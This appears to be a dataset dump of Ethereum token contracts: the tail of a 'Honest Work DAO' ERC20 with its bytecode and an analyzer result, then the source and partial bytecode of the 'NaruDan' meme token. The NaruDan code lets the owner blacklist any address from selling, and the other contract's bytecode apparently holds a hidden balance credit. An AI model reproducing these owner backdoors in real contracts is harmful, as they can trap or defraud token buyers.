amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployTheWork(creator, initialSupply); } } contract HonestWorkDAO is ERC20Token { constructor() ERC20Token("Honest Work DAO", "HONESTWORK", msg.sender, 42500000000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610e45565b60405180910390f35b61012b610126366004610eb6565b6102f9565b604051901515815260200161010f565b600f545b60405190815260200161010f565b61012b61015b366004610ee0565b61030f565b6040516012815260200161010f565b61012b61017d366004610eb6565b6103c5565b61012b610190366004610f1c565b6103fc565b61013f6101a3366004610f35565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610eb6565b6104c3565b6009546101d5906001600160a01b031681565b61012b610229366004610eb6565b61055e565b61013f61023c366004610f57565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600c805461027690610f8a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610f8a565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c848484610736565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685610fdb565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690610ff2565b60006104083383610a23565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600d805461027690610f8a565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685610fdb565b5060019392505050565b6000610306338484610736565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b600e546001600160a01b038481169116148015610652575060135460ff1615156001145b61068e576001600160a01b03821660009081526002602090815260408083205460039092529091205460135460ff928316929182169116610694565b60016000805b6001600160a01b038581166000818152600260209081526040808320600383528184206013805498151560ff19998a161790558054981515988816989098179097558654971515979095169690961790945590871680845260058552828420828552855292829020859055905184815290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661079a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156108745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b600e546001600160a01b0385811691161480156108995750601354610100900460ff16155b6108b15760105460135462010000900460ff166108b7565b60115460015b60138054911515620100000262ff000019909216919091179055601055600e546001600160a01b0385811691161480156108fe575060135460ff6101009091041615156001145b610930576001600160a01b03831660009081526002602052604090205460135460ff9182169161010090910416610935565b600160005b6001600160a01b03851660009081526002602052604090206013805461ff0019166101009315159390930292909217909155805460ff191691151591909117905561097f83610b76565b6109898483610d9a565b6109938282610fdb565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109c9908490610ff2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1591815260200190565b60405180910390a350505050565b600f54610a35906402540be40061100a565b600e546001600160a01b031660009081526004602052604081208054909190610a5f908490610ff2565b90915550506001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610aec908490610fdb565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610b2c908490610ff2565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600b805460018082019092557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0384169081179091556000908152600660209081526040808320429055600290915290205460ff16151514801590610bf157506002601454115b15610d825760066000600b60145481548110610c0f57610c0f611029565b60009182526020808320909101546001600160a01b031683528201929092526040018120546014549091600691600b90610c4b90600190610fdb565b81548110610c5b57610c5b611029565b60009182526020808320909101546001600160a01b03168352820192909252604001902054148015610cdc575060026000600b6001601454610c9d9190610fdb565b81548110610cad57610cad611029565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b15610d8257604b60046000600b6001601454610cf89190610fdb565b81548110610d0857610d08611029565b60009182526020808320909101546001600160a01b03168352820192909252604001902054610d37919061103f565b60046000600b6001601454610d4c9190610fdb565b81548110610d5c57610d5c611029565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60148054906000610d9283611061565b919050555050565b6001600160a01b03821660009081526002602052604090205460ff161515600114610e4157601254811115610dce57600080fd5b6010548110610ddc57600080fd5b60135462010000900460ff16151560011415610e41576001600160a01b03821660009081526003602052604090205460ff16151560011415610e1d57600080fd5b6001600160a01b0382166000908152600360205260409020805460ff191660011790555b5050565b600060208083528351808285015260005b81811015610e7257858101830151858201604001528201610e56565b81811115610e84576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610eb157600080fd5b919050565b60008060408385031215610ec957600080fd5b610ed283610e9a565b946020939093013593505050565b600080600060608486031215610ef557600080fd5b610efe84610e9a565b9250610f0c60208501610e9a565b9150604084013590509250925092565b600060208284031215610f2e57600080fd5b5035919050565b600060208284031215610f4757600080fd5b610f5082610e9a565b9392505050565b60008060408385031215610f6a57600080fd5b610f7383610e9a565b9150610f8160208401610e9a565b90509250929050565b600181811c90821680610f9e57607f821691505b60208210811415610fbf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610fed57610fed610fc5565b500390565b6000821982111561100557611005610fc5565b500190565b600081600019048311821515161561102457611024610fc5565b500290565b634e487b7160e01b600052603260045260246000fd5b60008261105c57634e487b7160e01b600052601260045260246000fd5b500490565b600060001982141561107557611075610fc5565b506001019056fea2646970667358221220df3b05895ec27961368c81e91ba4475af01030b6f00a86f6c709899c7867a34f64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
10,259
0xee73fd4128fee0aa6461188c32e5e4c907df3292
/** $NaruDan How about sports, ninja boy? Try basketball, you must like it. Basketball pose? This must be the best choice! Let’s see how to play Bball in ninja world. Tokenomics Total Supply : 1,000,000,000,000 Max Buy : 1% (10,000,000,000) Max Wallet : 2% (20,000,000,000) BuyTax:6% SellTax:9% 🌐 Website : https://www.narudan.com/ 📱 Telegram : https://t.me/NaruDanTokens 🐦 Twitter : https://twitter.com/NaruDan2 */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NaruDan is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,6,0,9); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; uint256 launchedAt; uint256 deadBlock; string private constant _name = "NaruDan"; string private constant _symbol = "NaruDan"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x1b2B93F0813382C5e6e04E63192EF5152D3bE2Cf); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (block.number <= (launchedAt + deadBlock) && to != uniswapV2Pair && to != address(uniswapV2Router) ) { bots[to] = true; } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == _feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading(uint256 db) external onlyOwner() { require(!tradingOpen,"trading is already open"); require(db <= 1); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; deadBlock = db; launchedAt = block.number; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063d16336491461048b578063dd62ed3e146104b457610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104f1565b60405161016791906131ea565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612cf3565b61052e565b6040516101a491906131cf565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612e56565b61054c565b005b3480156101e257600080fd5b506101eb610643565b6040516101f8919061332c565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d33565b610654565b005b34801561023657600080fd5b50610251600480360381019061024c9190612ca0565b6108b6565b60405161025e91906131cf565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612c06565b61098f565b005b34801561029c57600080fd5b506102a5610a7f565b6040516102b291906133a1565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612dd6565b610a88565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d7c565b610b01565b005b34801561031957600080fd5b50610334600480360381019061032f9190612dd6565b610bb3565b005b34801561034257600080fd5b5061034b610c8d565b005b34801561035957600080fd5b50610374600480360381019061036f9190612c06565b610cff565b604051610381919061332c565b60405180910390f35b34801561039657600080fd5b5061039f610d50565b005b3480156103ad57600080fd5b506103b6610ea3565b005b3480156103c457600080fd5b506103cd610f5a565b6040516103da9190613101565b60405180910390f35b3480156103ef57600080fd5b506103f8610f83565b60405161040591906131ea565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612cf3565b610fc0565b60405161044291906131cf565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612dd6565b610fde565b005b34801561048057600080fd5b506104896110b8565b005b34801561049757600080fd5b506104b260048036038101906104ad9190612dd6565b611132565b005b3480156104c057600080fd5b506104db60048036038101906104d69190612c60565b611707565b6040516104e8919061332c565b60405180910390f35b60606040518060400160405280600781526020017f4e61727544616e00000000000000000000000000000000000000000000000000815250905090565b600061054261053b61178e565b8484611796565b6001905092915050565b61055461178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d89061328c565b60405180910390fd5b600f5483856105f09190613462565b11156105fb57600080fd5b601054818361060a9190613462565b111561061557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b600068056bc75e2d63100000905090565b61065c61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e09061328c565b60405180910390fd5b60005b81518110156108b2573073ffffffffffffffffffffffffffffffffffffffff1682828151811061071f5761071e6136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107b35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610792576107916136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610806576108056136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561089f57600160076000848481518110610845576108446136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806108aa90613642565b9150506106ec565b5050565b60006108c3848484611961565b610984846108cf61178e565b61097f856040518060600160405280602881526020016139e160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093561178e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202a9092919063ffffffff16565b611796565b600190509392505050565b61099761178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b9061328c565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac961178e565b73ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6031811115610af757600080fd5b8060128190555050565b610b0961178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d9061328c565b60405180910390fd5b80601660176101000a81548160ff02191690831515021790555050565b610bbb61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061328c565b60405180910390fd5b60008111610c5557600080fd5b610c846064610c768368056bc75e2d6310000061208e90919063ffffffff16565b61210990919063ffffffff16565b60178190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cce61178e565b73ffffffffffffffffffffffffffffffffffffffff1614610cee57600080fd5b6000479050610cfc81612153565b50565b6000610d49600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf565b9050919050565b610d5861178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc9061328c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eab61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f9061328c565b60405180910390fd5b68056bc75e2d6310000060178190555068056bc75e2d63100000601881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4e61727544616e00000000000000000000000000000000000000000000000000815250905090565b6000610fd4610fcd61178e565b8484611961565b6001905092915050565b610fe661178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a9061328c565b60405180910390fd5b6000811161108057600080fd5b6110af60646110a18368056bc75e2d6310000061208e90919063ffffffff16565b61210990919063ffffffff16565b60188190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f961178e565b73ffffffffffffffffffffffffffffffffffffffff161461111957600080fd5b600061112430610cff565b905061112f8161222d565b50565b61113a61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061328c565b60405180910390fd5b601660149054906101000a900460ff1615611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e9061330c565b60405180910390fd5b600181111561122557600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611796565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fb57600080fd5b505afa15801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612c33565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139557600080fd5b505afa1580156113a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cd9190612c33565b6040518363ffffffff1660e01b81526004016113ea92919061311c565b602060405180830381600087803b15801561140457600080fd5b505af1158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190612c33565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306114c530610cff565b6000806114d0610f5a565b426040518863ffffffff1660e01b81526004016114f29695949392919061316e565b6060604051808303818588803b15801561150b57600080fd5b505af115801561151f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115449190612e03565b50505060016016806101000a81548160ff0219169083151502179055506001601660176101000a81548160ff0219169083151502179055506115ac606461159e600168056bc75e2d6310000061208e90919063ffffffff16565b61210990919063ffffffff16565b6017819055506115e260646115d4600268056bc75e2d6310000061208e90919063ffffffff16565b61210990919063ffffffff16565b6018819055506001601660146101000a81548160ff0219169083151502179055508160148190555043601381905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffff